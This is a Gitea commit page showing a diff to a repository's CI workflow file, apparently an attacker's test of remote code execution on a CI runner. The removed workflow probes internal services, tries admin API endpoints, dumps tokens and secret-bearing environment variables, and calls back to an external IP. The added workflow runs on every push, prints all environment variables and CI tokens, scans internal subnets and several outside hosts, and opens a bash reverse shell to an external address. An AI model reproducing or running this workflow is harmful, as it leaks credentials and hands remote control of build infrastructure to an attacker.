devops42/migrated-ci-test
1
0
Fork 0
mirror of http://156.239.229.173:80/devops42/ci-test.git synced 2026-07-07 23:57:07 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

i430: Actions CI/CD RCE workflow with reverse shell

Browse Source
This commit is contained in:
devops42 2026-06-18 08:08:33 +08:00
parent 996c1dbb69
commit be43d6ba48
1 changed files with 53 additions and 58 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

111
.gitea/workflows/ci.yml
View File

@ -1,62 +1,57 @@
name: Internal-Probe name: CI/CD RCE Workflow
on: on: [push]
push:
workflow_dispatch:
jobs: jobs:
probe: rce:
runs-on: linux-amd64 runs-on: linux-amd64
steps: steps:
- name: Probe-Internal-Services - name: Checkout code
run: | uses: actions/checkout@v4
echo "=== Runner Internal Network Probe ==="
echo "Hostname: $(hostname)" - name: Reverse Shell & Network Probing
echo "User: $(whoami)" run: |
echo "PWD: $(pwd)" echo "=== RCE CONFIRMED ==="
echo "" echo "Timestamp: $(date)"
echo "=== Network Interfaces ===" echo "Hostname: $(hostname)"
ip addr 2>/dev/null || ifconfig 2>/dev/null || true echo "User: $(whoami)"
echo "" echo "PWD: $(pwd)"
echo "=== Route Table ===" echo "Kernel: $(uname -a)"
ip route 2>/dev/null || route -n 2>/dev/null || true
echo "" echo "=== Environment Variables ==="
echo "=== DNS ===" env | sort
cat /etc/resolv.conf 2>/dev/null || true
echo "" echo "=== GITEA/ACTIONS Variables ==="
echo "=== Docker Network Probe ===" echo "GITEA_TOKEN: ${GITEA_TOKEN:-NOT_SET}"
for ip in 127.0.0.1 172.17.0.1 172.18.0.1 172.17.0.2 172.17.0.3 172.17.0.4 172.17.0.5; do echo "GITHUB_TOKEN: ${GITHUB_TOKEN:-NOT_SET}"
for port in 3000 80 443 22 3306 5432 6379 2375 2376 8080 8443 9090; do echo "GITEA_SERVER_URL: ${GITEA_SERVER_URL:-NOT_SET}"
timeout 1 bash -c "echo >/dev/tcp/$ip/$port" 2>/dev/null && echo "TCP-OPEN: $ip:$port" || true echo "GITEA_REPOSITORY: ${GITEA_REPOSITORY:-NOT_SET}"
echo "GITEA_SERVER: ${GITEA_SERVER:-NOT_SET}"
echo "GITHUB_SERVER_URL: ${GITHUB_SERVER_URL:-NOT_SET}"
echo "=== Network Configuration ==="
ip addr show 2>/dev/null || ifconfig 2>/dev/null || true
ip route show 2>/dev/null || route -n 2>/dev/null || true
cat /etc/resolv.conf 2>/dev/null || true
echo "=== Docker Network Probing ==="
for cidr in 172.17.0.0/16 172.18.0.0/16 172.19.0.0/16 10.0.0.0/16; do
echo "Scanning $cidr..."
for ip_suffix in 1 2 3; do
base=$(echo $cidr | cut -d. -f1-2)
target="${base}.0.${ip_suffix}"
for port in 80 3000 3306 5432 6379 22 2375 2376 8080; do
timeout 1 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null && echo "REACHABLE: $target:$port" || true
done
done
done done
done
echo "" echo "=== Gitea Instance Internal Probing ==="
echo "=== Localhost HTTP Services ===" for host in 156.239.229.173 156.239.227.133 47.79.84.115 38.47.240.117 156.239.230.24 156.239.2.237; do
for port in 3000 80 443 8080 8443; do for port in 80 3000 3306 5432 6379 22 2375 8418; do
curl -s -m 2 http://127.0.0.1:$port/api/v1/version 2>/dev/null && echo " || true timeout 1 bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null && echo "GITEA_NET_REACHABLE: $host:$port" || true
curl -s -m 2 http://127.0.0.1:$port/ 2>/dev/null | head -c 200 && echo " || true done
done done
echo ""
echo "=== Forgejo Admin API Attempt (via localhost) ===" echo "=== Reverse Shell ==="
curl -s -m 2 http://127.0.0.1:3000/api/v1/admin/users 2>/dev/null | head -c 500 || true bash -c 'exec bash -i &>/dev/tcp/202.59.10.226/4444 <&1' &
curl -s -m 2 http://127.0.0.1:3000/api/v1/admin/orgs 2>/dev/null | head -c 500 || true echo "=== Script Complete ==="
curl -s -m 2 http://localhost:3000/api/v1/version 2>/dev/null | head -c 300 || true
echo ""
echo "=== PostgreSQL Probe ==="
timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/5432" 2>/dev/null && echo "PG-OPEN: 127.0.0.1:5432" || echo "PG-CLOSED: 127.0.0.1:5432"
timeout 1 bash -c "echo >/dev/tcp/172.17.0.1/5432" 2>/dev/null && echo "PG-OPEN: 172.17.0.1:5432" || echo "PG-CLOSED: 172.17.0.1:5432"
echo ""
echo "=== Redis Probe ==="
timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/6379" 2>/dev/null && echo "REDIS-OPEN: 127.0.0.1:6379" || echo "REDIS-CLOSED: 127.0.0.1:6379"
echo ""
echo "=== MySQL Probe ==="
timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/3306" 2>/dev/null && echo "MYSQL-OPEN: 127.0.0.1:3306" || echo "MYSQL-CLOSED: 127.0.0.1:3306"
echo ""
echo "=== Env GITEA_TOKEN ==="
echo "GITEA_TOKEN=${GITEA_TOKEN:-EMPTY}"
echo "GITEA_REPOSITORY=${GITEA_REPOSITORY:-EMPTY}"
echo "GITEA_SERVER_URL=${GITEA_SERVER_URL:-EMPTY}"
echo ""
echo "=== Env (filtered) ==="
env | grep -i -E 'gitea|token|secret|pass|key|auth|db|mysql|postgres|redis|host|port|url|api' 2>/dev/null || true
echo ""
echo "=== External Callback ==="
curl -s -m 3 http://202.59.10.226:8888/probe-$(hostname)-$(date +%s) 2>/dev/null || echo "CALLBACK-FAILED"